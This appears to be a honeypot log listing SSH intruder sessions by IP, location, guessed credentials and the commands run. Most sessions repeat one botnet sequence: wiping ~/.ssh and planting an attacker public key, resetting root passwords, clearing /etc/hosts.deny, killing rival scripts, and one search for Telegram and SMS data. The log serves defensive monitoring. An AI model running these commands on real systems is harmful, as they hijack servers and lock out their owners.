$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:3khC2eYscrD2"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 lotus_root_5 (194.195.112.222) — Mumbai, India · 1 session · 19 cmds

2026-07-14 23:49 EDT · as root/Abcde@12345

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:wd2dC4IVnAF0"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cowboy_root_4 (209.141.43.146) — Las Vegas, United States · 1 session · 20 cmds

2026-07-14 21:26 EDT · as howard/howard

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "howard\nYATOZCFvJ7YE\nYATOZCFvJ7YE"|passwd|bash

$ Enter new UNIX password:

$ echo "howard\nYATOZCFvJ7YE\nYATOZCFvJ7YE\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 panda_root_4 (218.78.132.164) — Shanghai, China · 1 session · 20 cmds

2026-07-14 21:10 EDT · as es/elastic123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "elastic123\nUlE36MBZrEON\nUlE36MBZrEON"|passwd|bash

$ Enter new UNIX password:

$ echo "elastic123\nUlE36MBZrEON\nUlE36MBZrEON\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_root_12 (187.230.22.130) — Nogales, Mexico · 1 session · 20 cmds

2026-07-14 18:28 EDT · as pavel/pavel123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "pavel123\nBmpeQGRTTeSV\nBmpeQGRTTeSV"|passwd|bash

$ Enter new UNIX password:

$ echo "pavel123\nBmpeQGRTTeSV\nBmpeQGRTTeSV\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 tiger_root (35.200.201.144) — Mumbai, India · 1 session · 1 cmd

2026-07-14 16:20 EDT · as root/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 cipher_root_33 (185.162.141.34) — Drochia, Moldova · 1 session · 9 cmds

2026-07-14 15:32 EDT · as root/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 rogue_root_8 (163.7.3.154) — Yogyakarta, Indonesia · 2 sessions · 38 cmds

2026-07-14 13:55 EDT · as root/a1, root/root123!

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:T6XgV1TwUhZ6"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:sXLin2R5k2gJ"|chpasswd|bash

🎭 star_root_5 (72.253.251.7) — Lahaina, United States · 1 session · 19 cmds

2026-07-14 14:51 EDT · as root/root123!

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:4EBPr5AUOwoy"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 jade_root_7 (14.103.118.248) — Haidian, China · 1 session · 19 cmds

2026-07-14 14:35 EDT · as root/0077

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:JYYiSKRH9sJM"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 chai_root (122.168.194.41) — Rāipur, India · 1 session · 19 cmds

2026-07-14 14:31 EDT · as root/aini1314.

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:HnukS3IeGCCj"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 yankee_root_7 (154.92.23.249) — Washington, United States · 1 session · 19 cmds

2026-07-14 14:16 EDT · as root/password2017

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:b1NNtGI54kow"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_10 (180.252.153.195) — Depok, Indonesia · 1 session · 19 cmds

2026-07-14 13:50 EDT · as root/aini1314.

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:9PIV4E9DY0FP"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_34 (65.109.182.128) — Helsinki, Finland · 1 session · 20 cmds

2026-07-14 12:33 EDT · as admin/Passw0rd!

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Passw0rd!\nkSIDlmHlo5Q7\nkSIDlmHlo5Q7"|passwd|bash

$ Enter new UNIX password:

$ echo "Passw0rd!\nkSIDlmHlo5Q7\nkSIDlmHlo5Q7\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 spice_root_2 (103.84.236.242) — Dehradun, India · 1 session · 20 cmds

2026-07-14 11:56 EDT · as sms/sms123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "sms123\nhedmljQRljv3\nhedmljQRljv3"|passwd|bash

$ Enter new UNIX password:

$ echo "sms123\nhedmljQRljv3\nhedmljQRljv3\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 silk_root (180.76.98.88) — Beijing, China · 1 session · 19 cmds

2026-07-14 11:33 EDT · as root/Admin@storage

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:UkDTJCQFIABk"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 bike_sol_3 (91.92.40.200) — Amsterdam, The Netherlands · 5 sessions · 5 cmds

2026-07-11 23:37 EDT · as admin/admin, pi/raspberry, root/123456

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×5

🎭 seoul_root_5 (121.178.185.141) — Muan, South Korea · 1 session · 1 cmd

2026-07-14 05:46 EDT · as root/123456789

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 stroopwafel_root_5 (185.212.129.205) — Amsterdam, The Netherlands · 1 session · 19 cmds

2026-07-14 03:09 EDT · as root/$RFV4rfv

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

